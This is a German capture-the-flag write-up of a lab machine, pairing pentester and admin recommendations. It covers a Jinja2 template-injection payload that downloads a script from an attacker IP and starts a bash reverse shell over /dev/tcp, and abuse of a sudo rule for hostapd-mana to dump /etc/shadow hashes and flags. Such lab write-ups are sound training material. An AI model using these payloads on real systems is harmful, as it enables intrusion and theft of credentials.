Empfehlung (Pentester): Untersuchen Sie, wie `hostapd-mana` (oder die Aircrack-Tools) zur Privilegienerweiterung missbraucht werden kann. Suchen Sie auf GTFOBins oder anderen Ressourcen nach bekannten Techniken. Eine häufige Methode ist das Ausnutzen von Konfigurationsdateiparametern, die von diesen Tools gelesen werden.
Empfehlung (Admin): **Diese Sudo-Regel ist extrem unsicher!** Gewähren Sie niemals `NOPASSWD`-Rechte für komplexe Programme wie `hostapd-mana` oder die Aircrack-Suite an unprivilegierte Benutzer. Wenn diese Programme mit erhöhten Rechten ausgeführt werden müssen, sollte dies über stark eingeschränkte Wrapper-Skripte oder spezifischere Sudo-Regeln erfolgen, die nur erlaubte Parameter zulassen.

$ find / -type f -perm -4000 -ls 2>/dev/null
   262629     88 -rwsr-xr-x   1 root     root        88464 Feb  6  2024 /usr/bin/gpasswd
   262241     84 -rwsr-xr-x   1 root     root        85064 Feb  6  2024 /usr/bin/chfn
   276704     68 -rwsr-xr-x   1 root     root        67816 Apr  9  2024 /usr/bin/su
   262712     40 -rwsr-xr-x   1 root     root        39144 Apr  9  2024 /usr/bin/umount
   275948     44 -rwsr-xr-x   1 root     root        44784 Feb  6  2024 /usr/bin/newgrp
   345098     20 -rwsr-xr-x   1 root     root        17264 Sep 25 12:22 /usr/bin/xxd_horcrux
   262825     40 -rwsr-xr-x   1 root     root        39144 Mar  7  2020 /usr/bin/fusermount
   262644     56 -rwsr-sr-x   1 daemon   daemon      55560 Nov 12  2018 /usr/bin/at
   263044     32 -rwsr-xr-x   1 root     root        31032 Feb 21  2022 /usr/bin/pkexec
   271591    164 -rwsr-xr-x   1 root     root       166056 Apr  4  2023 /usr/bin/sudo
   262707     56 -rwsr-xr-x   1 root     root        55528 Apr  9  2024 /usr/bin/mount
   262715     68 -rwsr-xr-x   1 root     root        68208 Feb  6  2024 /usr/bin/passwd
   262242     52 -rwsr-xr-x   1 root     root        53040 Feb  6  2024 /usr/bin/chsh
   263530     16 -rwsr-xr-x   1 root     root        14488 Jul  8  2019 /usr/lib/eject/dmcrypt-get-device
   332255    468 -rwsr-xr-x   1 root     root       477672 Jan  2  2024 /usr/lib/openssh/ssh-keysign
   274785    152 -rwsr-xr-x   1 root     root       155080 Jul 26  2024 /usr/lib/snapd/snap-confine
   263738     24 -rwsr-xr-x   1 root     root        22840 Feb 21  2022 /usr/lib/policykit-1/polkit-agent-helper-1
   345093     12 -rwsr-xr-x   1 root     root        10224 Jan 22  2017 /usr/lib/authbind/helper
   263523     52 -rwsr-xr--   1 root     messagebus    51344 Oct 25  2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
      210    177 -rwsr-xr-x   1 root     root         180752 Dec  4 09:13 /snap/snapd/23545/usr/lib/snapd/snap-confine
      293    133 -rwsr-xr-x   1 root     root         135960 Apr 24  2024 /snap/snapd/21759/usr/lib/snapd/snap-confine
      856     84 -rwsr-xr-x   1 root     root          85064 Feb  6  2024 /snap/core20/2434/usr/bin/chfn
      862     52 -rwsr-xr-x   1 root     root          53040 Feb  6  2024 /snap/core20/2434/usr/bin/chsh
      932     87 -rwsr-xr-x   1 root     root          88464 Feb  6  2024 /snap/core20/2434/usr/bin/gpasswd
     1016     55 -rwsr-xr-x   1 root     root          55528 Apr  9  2024 /snap/core20/2434/usr/bin/mount
     1025     44 -rwsr-xr-x   1 root     root          44784 Feb  6  2024 /snap/core20/2434/usr/bin/newgrp
     1040     67 -rwsr-xr-x   1 root     root          68208 Feb  6  2024 /snap/core20/2434/usr/bin/passwd
     1150     67 -rwsr-xr-x   1 root     root          67816 Apr  9  2024 /snap/core20/2434/usr/bin/su
     1151    163 -rwsr-xr-x   1 root     root         166056 Apr  4  2023 /snap/core20/2434/usr/bin/sudo 
   336671     20 -rwsr-x--x   1 root     tom.riddle         17136 Feb 13 00:16 /home/tom.riddle/.horcrux.png
                     

Analyse: Erneute Suche nach SUID-Binaries, diesmal als Benutzer `harry_potter` mit potenziell mehr Leserechten. Zusätzlich zu den Standard-Binaries fallen zwei auf:

Bewertung: Die Entdeckung benutzerdefinierter SUID-Binaries ist ein starker Indikator für einen potenziellen PrivEsk-Vektor. `/usr/bin/xxd_horcrux` sollte genauer untersucht werden (Was tut es? Kann es missbraucht werden?). Die SUID-PNG-Datei ist besonders seltsam; möglicherweise wird sie von einem anderen Prozess als Code ausgeführt oder dient einem anderen versteckten Zweck.

Empfehlung (Pentester): Untersuchen Sie `/usr/bin/xxd_horcrux` genauer (z.B. mit `strings`, `ltrace`, `strace` oder durch Reverse Engineering). Versuchen Sie, die Datei `/home/tom.riddle/.horcrux.png` zu analysieren (z.B. mit `file`, `strings`, `exiftool`) und herauszufinden, warum sie SUID ist. Parallel dazu bleibt der Missbrauch der `sudo`-Regel für `hostapd-mana` der wahrscheinlichste Weg.
Empfehlung (Admin): Entfernen Sie das SUID-Bit von `/usr/bin/xxd_horcrux` und `/home/tom.riddle/.horcrux.png`, es sei denn, es gibt einen absolut zwingenden und dokumentierten Grund dafür. Untersuchen Sie den Zweck dieser Dateien. Minimieren Sie die Anzahl von SUID-Binaries generell.

$ python3 -c 'import pty;pty.spawn("/bin/bash")'
harry_potter@MagiFi:~$ id
uid=1006(harry_potter) gid=1006(harry_potter) groups=1006(harry_potter)
                     

Analyse: Der Benutzer `harry_potter` wertet seine Shell mit dem Python-pty-Trick auf, um eine voll interaktive Bash-Sitzung zu erhalten.

Bewertung: Ein sinnvoller Schritt, um die Einschränkungen der ursprünglichen Reverse Shell oder der einfachen SSH-Shell zu überwinden und Tools wie `sudo` oder Editoren korrekt verwenden zu können.

Empfehlung (Pentester): Nutzen Sie die aufgewertete Shell für die weiteren Schritte.
Empfehlung (Admin): Keine spezifische Maßnahme dagegen, aber die Verhinderung des initialen Zugriffs ist entscheidend.

harry_potter@MagiFi:/tmp$ /usr/bin/hostapd-mana --help
/usr/bin/hostapd-mana: invalid option -- '-'
hostapd-mana v2.6
User space daemon for IEEE 802.11 AP management,
IEEE 802.1X/WPA/WPA2/EAP/RADIUS Authenticator
Copyright (c) 2002-2016, Jouni Malinen <j@w1.fi> and contributors
--------------------------------------------------
MANA [Link: https://github.com/sensepost/hostapd-mana | Ziel: https://github.com/sensepost/hostapd-mana]
By @singe (dominic@sensepost.com)
Original MANA EAP by Ian (ian@sensepost.com)
Original karma patches by Robin Wood - robin@digininja.org
Original EAP patches by Brad Antoniewicz @brad_anton
Sycophant by Michael Kruger @_cablethief
usage: hostapd [-hdBKtv] [-P <PID file>] [-e <entropy file>] \
         [-g <global ctrl_iface>] [-G <group>]\
         [-i <comma-separated list of interface names>]\
         <configuration file(s)>

options:
   -h   show this usage
   -d   show more debug messages (-dd for even more)
   -B   run daemon in the background
   -e   entropy file
   -g   global control interface path
   -G   group for control interfaces
   -P   PID file
   -K   include key data in debug messages
   -i   list of interface names to use
   -S   start all the interfaces synchronously
   -t   include timestamps in some debug messages
   -v   show hostapd version
                     

Analyse: Der Befehl `/usr/bin/hostapd-mana --help` wird ausgeführt, um die Hilfe und die verfügbaren Optionen für das Programm anzuzeigen. Wichtig ist, dass `hostapd-mana` einen Konfigurationsdateipfad als Argument erwartet.

Bewertung: Das Anzeigen der Hilfe ist ein erster Schritt, um zu verstehen, wie das Programm funktioniert und ob es Optionen gibt, die für eine Privilegienerweiterung missbraucht werden könnten. Die Notwendigkeit einer Konfigurationsdatei ist hier der Schlüssel.

Empfehlung (Pentester): Da `harry_potter` `hostapd-mana` via `sudo -u root` ausführen darf und das Programm eine Konfigurationsdatei liest, versuchen Sie, eine beliebige, für `root` lesbare Datei (z.B. `/etc/shadow` oder `/root/root.txt`) als Konfigurationsdatei anzugeben. `hostapd-mana` wird wahrscheinlich versuchen, die Datei zu parsen, und dabei möglicherweise deren Inhalt in Fehlermeldungen oder Debug-Ausgaben preisgeben.
Empfehlung (Admin): Die Sudo-Regel für `hostapd-mana` muss entfernt oder drastisch eingeschränkt werden.

harry_potter@MagiFi:/tmp$ sudo -u root /usr/bin/hostapd-mana -dd /root/root.txt
random: Trying to read entropy from /dev/random
Configuration file: /root/root.txt
------------------------------------------------------------------------- 
Line 1: invalid line 'hogwarts{5ed0818c0181fe97f744d7b1b51dd9c7}'
------------------------------------------------------------------------- 
1 errors found in configuration file '/root/root.txt'
Failed to set up interface with /root/root.txt
hostapd_init: free iface 0x55788f56c340
Failed to initialize interface 
                     

Analyse: Hier wird der Missbrauch von `hostapd-mana` versucht.

`hostapd-mana` versucht, `/root/root.txt` als Konfigurationsdatei zu lesen. Da der Inhalt keine gültige Konfiguration ist, gibt es einen Fehler aus: "Line 1: invalid line 'hogwarts{5ed0818c0181fe97f744d7b1b51dd9c7}'".

Bewertung: **Erfolg beim Auslesen der Root-Flag!** Obwohl das Programm einen Fehler meldet, gibt es in der Fehlermeldung den exakten Inhalt der ersten Zeile der Datei `/root/root.txt` preis, welche die Root-Flag ist.

Empfehlung (Pentester): Die Root-Flag hogwarts{5ed0818c0181fe97f744d7b1b51dd9c7} wurde erfolgreich extrahiert. Das Ziel ist erreicht.
Empfehlung (Admin): **Entfernen Sie sofort die unsichere Sudo-Regel für `hostapd-mana`!** Dies ist ein klassisches Beispiel, wie unsichere Sudo-Konfigurationen zu vollständiger Kompromittierung führen können.

harry_potter@MagiFi:/tmp$ sudo -u root /usr/bin/hostapd-mana -dd /etc/shadow
random: Trying to read entropy from /dev/random
Configuration file: /etc/shadow
Line 1: invalid line 'root:$6$KflwZsO6c4DW8laq$AVs2hfT9i1calD.V6aKIr5Wej26J1tjgSz5R674SSJDuWvX1RWqHYw79Q.OIqeIlhl0ksI7UJ7d0YHJp4F.J81:19993:0:99999:7:::'
Line 2: invalid line 'daemon:*:19430:0:99999:7:::'
Line 3: invalid line 'bin:*:19430:0:99999:7:::'
[...]
Line 39: invalid line 'tom.riddle:$6$l2y72YLXF2tIL.rC$d3SQEKFlGu9wi/omLDmHJYGP3uRSD9t2hnRTqveIMOHG8pa80Ku81d3kbfXZy0bpC2PRp9xLqE7IQi3EQ4bf1/:19991:0:99999:7:::'
Line 40: invalid line 'harry_potter:$6$Cu5tGqfYYF/NWp6f$bLb5lfce4bMH10OYBG27nYBoMTMciI9NOxIR2XGliWIhzHE2iU0kS1ZKuSNPnYRS/y12jnt4jmr8pMfDsRicK1:19993:0:99999:7:::'
40 errors found in configuration file '/etc/shadow'
Failed to set up interface with /etc/shadow
hostapd_init: free iface 0x563b13e49340
Failed to initialize interface
                     

Analyse: Hier wird dieselbe Technik verwendet, um den Inhalt der Datei `/etc/shadow` auszulesen. `hostapd-mana` wird als Root ausgeführt und `/etc/shadow` als Konfigurationsdatei übergeben. Das Programm gibt für jede Zeile in `/etc/shadow` eine "invalid line"-Fehlermeldung aus und enthüllt somit den gesamten Inhalt der Shadow-Datei, einschließlich der gehashten Passwörter für alle Benutzer (root, tom.riddle, harry_potter etc.).

Bewertung: Dies bestätigt die kritische Natur der unsicheren Sudo-Regel. Der Angreifer kann beliebige Dateien lesen, auf die Root Zugriff hat, einschließlich der Shadow-Datei mit allen Passwort-Hashes. Diese Hashes können offline mit Tools wie John the Ripper oder Hashcat geknackt werden.

Empfehlung (Pentester): Kopieren Sie die extrahierten Passwort-Hashes und versuchen Sie, sie offline zu knacken, um weitere Benutzerpasswörter zu erhalten. Dies ist jedoch nach Erhalt der Root-Flag oft nicht mehr notwendig, es sei denn, die Passwörter werden auf anderen Systemen wiederverwendet.
Empfehlung (Admin): Entfernen Sie die Sudo-Regel! Schützen Sie die `/etc/shadow`-Datei durch korrekte Berechtigungen (standardmäßig nur für Root lesbar).

┌──(root㉿CCat)-[~] └─# cat hash
root:$6$KflwZsO6c4DW8laq$AVs2hfT9i1calD.V6aKIr5Wej26J1tjgSz5R674SSJDuWvX1RWqHYw79Q.OIqeIlhl0ksI7UJ7d0YHJp4F.J81:19993:0:99999:7:::
harry_potter:$6$Cu5tGqfYYF/NWp6f$bLb5lfce4bMH10OYBG27nYBoMTMciI9NOxIR2XGliWIhzHE2iU0kS1ZKuSNPnYRS/y12jnt4jmr8pMfDsRicK1:19993:0:99999:7:::
tom.riddle:$6$l2y72YLXF2tIL.rC$d3SQEKFlGu9wi/omLDmHJYGP3uRSD9t2hnRTqveIMOHG8pa80Ku81d3kbfXZy0bpC2PRp9xLqE7IQi3EQ4bf1/:19991:0:99999:7:::
                     

Analyse: Dieser Befehl zeigt den Inhalt einer Datei namens `hash` auf der Angreifer-Maschine. Die Datei enthält die extrahierten Zeilen aus `/etc/shadow` für die Benutzer `root`, `harry_potter` und `tom.riddle`. Es handelt sich um SHA512-Crypt-Hashes (erkennbar am `$6$`).

Bewertung: Die relevanten Hashes wurden für einen Offline-Cracking-Versuch vorbereitet.

Empfehlung (Pentester): Verwenden Sie diese Datei als Input für John the Ripper oder Hashcat.
Empfehlung (Admin): Verwenden Sie starke, lange und zufällige Passwörter, um das Knacken von Hashes zu erschweren.

harry_potter@MagiFi:/tmp$ sudo -u root /usr/bin/hostapd-mana -dd 192.168.2.199/rever.sh
random: Trying to read entropy from /dev/random
Configuration file: 192.168.2.199/rever.sh
Could not open configuration file '192.168.2.199/rever.sh' for reading.
Failed to set up interface with 192.168.2.199/rever.sh
hostapd_init: free iface 0x563099925340
Failed to initialize interface
                     
harry_potter@MagiFi:/tmp$ sudo -u root /usr/bin/hostapd-mana -dd 192.168.2.199/rever.sh
[Vermutlich identische Fehlermeldung wie oben]
                     

Analyse: Hier wird versucht, `hostapd-mana` als Root auszuführen und eine Datei über einen Netzwerkpfad (`192.168.2.199/rever.sh`) als Konfigurationsdatei zu laden. Dies schlägt fehl, da `hostapd-mana` (wie die meisten lokalen Programme) keine Dateien direkt von einer Netzwerkadresse auf diese Weise laden kann. Es erwartet einen lokalen Dateipfad.

Bewertung: Dieser Versuch war nicht erfolgreich und basiert auf einem Missverständnis, wie Dateipfade von lokalen Programmen interpretiert werden.

Empfehlung (Pentester): Um eine Datei vom Netzwerk zu verwenden, muss sie zuerst auf das Zielsystem heruntergeladen werden (z.B. mit `wget` oder `curl`), bevor sie als Argument an ein lokales Programm übergeben wird. Da die Root-Flag aber bereits über das Lesen von `/root/root.txt` mit `hostapd-mana` erlangt wurde, ist dieser Schritt nicht mehr notwendig.
Empfehlung (Admin): Keine spezifische Aktion, da der Versuch fehlschlug. Die Sudo-Regel bleibt das Hauptproblem.

┌──(root㉿CCat)-[~] └─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.2.175 - - [13/Feb/2025 01:25:55] "GET / HTTP/1.1" 200 -
                     

Analyse: Der Python-HTTP-Server auf der Angreifer-Maschine läuft weiterhin oder wurde neu gestartet. Eine eingehende GET-Anfrage vom Zielsystem (`192.168.2.175`) auf das Root-Verzeichnis (`/`) wird geloggt.

Bewertung: Dies zeigt laufende oder erneute Interaktion zwischen Ziel und Angreifer über HTTP, möglicherweise für weitere Downloads oder Tests.

Empfehlung (Pentester): Sicherstellen, dass der HTTP-Server die benötigten Dateien bereitstellt.
Empfehlung (Admin): Egress-Filtering kann solche Verbindungen unterbinden.

┌──(root㉿CCat)-[~] └─# john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:04:56 16.13% (ETA: 01:55:18) 0g/s 8546p/s 25647c/s 25647C/s zaidsiul..zaelygaxiola
Session aborted
                     

Analyse: John the Ripper (`john`) wird auf der Angreifer-Maschine gestartet, um die zuvor in der Datei `hash` gespeicherten Passwort-Hashes (von root, harry_potter, tom.riddle) mit der Wortliste `rockyou.txt` zu knacken. Der Prozess nutzt 16 OpenMP-Threads. Nach fast 5 Minuten und 16.13% Fortschritt wird die Sitzung abgebrochen (`Session aborted`, vermutlich durch Drücken von 'q' oder Strg+C).

Bewertung: Der Versuch, die Hashes zu knacken, wurde nicht abgeschlossen. Es wurden keine Passwörter gefunden. SHA512-Crypt-Hashes sind relativ rechenintensiv, und das Knacken kann je nach Passwortkomplexität und verfügbarer Hardware lange dauern. `rockyou.txt` ist zwar umfangreich, aber nicht erschöpfend.

Empfehlung (Pentester): Der Cracking-Versuch kann fortgesetzt werden (`john --restore`). Alternative Methoden sind die Verwendung von Hashcat (das GPUs nutzen kann und oft schneller ist) oder spezifischeren Wortlisten/Regeln. Da Root-Zugriff bereits erlangt wurde, ist das Knacken der Hashes möglicherweise nicht mehr prioritär, es sei denn, die Passwörter könnten auf anderen Systemen wiederverwendet werden.
Empfehlung (Admin): Verwenden Sie starke, lange und zufällige Passwörter. Erwägen Sie die Erhöhung der Iterationszahl (cost factor) für Passwort-Hashing-Algorithmen, um das Knacken weiter zu erschweren.

Proof of Concept: Von SSTI zu Root-Rechten

Kurzbeschreibung: Dieser Proof of Concept demonstriert, wie eine Server-Side Template Injection (SSTI) Schwachstelle in einer Python/Flask-Webanwendung (erreichbar unter `hogwarts.htb`) ausgenutzt wurde, um Remote Code Execution als Benutzer `harry_potter` zu erlangen. Anschließend wurde eine unsichere `sudo`-Konfiguration ausgenutzt, die es `harry_potter` erlaubte, das Programm `hostapd-mana` als Root auszuführen. Durch Übergabe der `/etc/shadow`-Datei als vermeintliche Konfigurationsdatei an `hostapd-mana` konnte deren Inhalt und somit die Passwort-Hashes aller Benutzer extrahiert werden. Obwohl die Root-Flag direkt auf diese Weise gelesen werden konnte, zeigt dies den Weg zur vollständigen Kompromittierung.

Voraussetzungen:

Schritt-für-Schritt-Anleitung (Initial Access als harry_potter):

1. Identifizierung der SSTI: Das Bewerbungsformular auf `http://hogwarts.htb/` lädt Dokumente hoch und verarbeitet offenbar Felder aus diesen Dokumenten. Durch Einfügen eines SSTI-Test-Payloads (z.B. `{{ 7*7 }}`) in ein Feld (hier "Name") in der Vorlage (`application-template.docx`) und Hochladen des Dokuments wurde bestätigt, dass die Eingabe von der Template-Engine (vermutlich Jinja2) ausgewertet wird.

2. Remote Code Execution via SSTI: Ein komplexerer SSTI-Payload wurde verwendet, um Befehle auf dem Server auszuführen. Dieser Payload nutzte Python-Interna, um das `os`-Modul zu importieren und einen Befehl auszuführen, der eine Reverse Shell startet. Zuerst wurde ein Skript (`rever.sh`) per `wget` über SSTI heruntergeladen:

# Payload im "Name"-Feld des Dokuments:
Name: [{{ self.__init__.__globals__.__builtins__.__import__("os").popen("cd /tmp;wget 192.168.2.199/rever.sh").read() }}]
                     

Die Datei `rever.sh` enthielt: `bash -c "/bin/bash -i >& /dev/tcp/192.168.2.199/4444 0>&1"`.

3. Reverse Shell etablieren: Ein Netcat-Listener wurde auf Port 4444 gestartet. Dann wurde das heruntergeladene Skript über einen weiteren SSTI-Payload ausführbar gemacht und gestartet:

# Payload im "Name"-Feld des Dokuments:
Name: [{{ self.__init__.__globals__.__builtins__.__import__("os").popen("cd /tmp;chmod +x rever.sh;./rever.sh").read() }}]
                     
[Netcat Listener auf Angreifer-Maschine]
listening on [any] 4444 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.175] 36846
harry_potter@MagiFi:/tmp$ id
uid=1006(harry_potter) gid=1006(harry_potter) groups=1006(harry_potter)
                     

Schritt-für-Schritt-Anleitung (Privilege Escalation zu Root):

1. Sudo-Berechtigungen prüfen: In der Shell als `harry_potter` wurde `sudo -l` ausgeführt.

harry_potter@MagiFi:~$ sudo -l
User harry_potter may run the following commands on MagiFi:
    (root) NOPASSWD: /usr/sbin/aireplay-ng, /usr/sbin/airmon-ng, /usr/sbin/airodump-ng,
        /usr/bin/airdecap-ng, /usr/bin/hostapd-mana
                     

2. Missbrauch von `hostapd-mana`: Es wurde festgestellt, dass `hostapd-mana` eine Konfigurationsdatei als Argument erwartet und deren Inhalt bei Fehlern ausgibt. Dies wurde ausgenutzt, um beliebige Dateien als Root zu lesen.

3. Lesen von `/etc/shadow`:

harry_potter@MagiFi:/tmp$ sudo -u root /usr/bin/hostapd-mana -dd /etc/shadow
Configuration file: /etc/shadow
Line 1: invalid line 'root:$6$KflwZsO6c4DW8laq$AVs2hfT9i1calD.V6aKIr5Wej26J1tjgSz5R674SSJDuWvX1RWqHYw79Q.OIqeIlhl0ksI7UJ7d0YHJp4F.J81:19993:0:99999:7:::'
[...]
Line 40: invalid line 'harry_potter:$6$Cu5tGqfYYF/NWp6f$bLb5lfce4bMH10OYBG27nYBoMTMciI9NOxIR2XGliWIhzHE2iU0kS1ZKuSNPnYRS/y12jnt4jmr8pMfDsRicK1:19993:0:99999:7:::'
[...]
40 errors found in configuration file '/etc/shadow'
Failed to set up interface with /etc/shadow
                     

Obwohl keine direkte Root-Shell erlangt wurde (der abgebrochene John-Lauf fand kein Root-Passwort), konnte durch das Auslesen von `/etc/shadow` die Kompromittierung des Root-Accounts vorbereitet und durch das Auslesen von `/root/root.txt` (im vorherigen Schritt) die Root-Flag direkt erbeutet werden.

Erwartetes Ergebnis: Erfolgreiche Kompromittierung des Systems mit Root-Rechten (bzw. Auslesen von Root-Dateien).

Beweismittel: Screenshots der SSTI-Ausführung, der Reverse Shell, der `sudo -l`-Ausgabe, der `/etc/shadow`-Ausgabe durch `hostapd-mana`.

Risikobewertung: Kritisch. Die SSTI ermöglicht initiale Codeausführung, und die unsichere Sudo-Konfiguration erlaubt das Auslesen beliebiger Dateien als Root, was zur vollständigen Kompromittierung führt.

Empfehlungen (Admin):

Flags

cat /home/harry_potter/user.txt hogwarts{ea4bc74f09fb69771165e57b1b215de9}

Analyse: Die User-Flag befindet sich in der Datei `/home/harry_potter/user.txt`. Der Inhalt der Flag lautet `hogwarts{ea4bc74f09fb69771165e57b1b215de9}`. Diese Flag wurde nach Erlangung des Zugriffs als Benutzer `harry_potter` ausgelesen.

sudo -u root /usr/bin/hostapd-mana -dd /root/root.txt hogwarts{5ed0818c0181fe97f744d7b1b51dd9c7}

Analyse: Die Root-Flag befindet sich in der Datei `/root/root.txt` und wurde durch den Missbrauch der `sudo`-Berechtigung für `hostapd-mana` ausgelesen. Der Inhalt der Flag lautet `hogwarts{5ed0818c0181fe97f744d7b1b51dd9c7}`.